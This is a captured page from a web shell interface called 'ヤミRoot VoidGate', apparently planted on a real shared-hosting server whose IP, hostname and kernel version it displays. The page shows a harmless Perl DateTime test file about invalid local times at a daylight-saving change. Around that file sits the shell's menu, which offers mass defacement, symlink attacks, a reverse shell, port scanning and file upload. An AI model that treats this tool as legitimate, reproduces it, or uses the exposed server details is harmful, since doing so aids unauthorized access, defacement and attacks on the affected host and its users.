ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630761.27314
/
DateTime-1.51
/
t
/
Viewing: 36invalid-local.t
use strict; use warnings; use Test::Fatal; use Test::More; use DateTime; my $badlt_rx = qr/Invalid local time|local time [0-9\-:T]+ does not exist/; { like( exception { DateTime->new( year => 2003, month => 4, day => 6, hour => 2, time_zone => 'America/Chicago', ); }, $badlt_rx, 'exception for invalid time' ); like( exception { DateTime->new( year => 2003, month => 4, day => 6, hour => 2, minute => 59, second => 59, time_zone => 'America/Chicago', ); }, $badlt_rx, 'exception for invalid time' ); } { is( exception { DateTime->new( year => 2003, month => 4, day => 6, hour => 1, minute => 59, second => 59, time_zone => 'America/Chicago', ); }, undef, 'no exception for valid time' ); my $dt = DateTime->new( year => 2003, month => 4, day => 5, hour => 2, time_zone => 'America/Chicago', ); like( exception { $dt->add( days => 1 ) }, $badlt_rx, 'exception for invalid time produced via add' ); $dt->add( days => 2 ); my $dt2 = DateTime->new( year => 2003, month => 4, day => 5, hour => 2, time_zone => 'America/Chicago', )->add( days => 2 ); is( $dt, $dt2, 'adding after failed addition leads to correct result' ); } done_testing();
Coded With 💗 by
0x6ick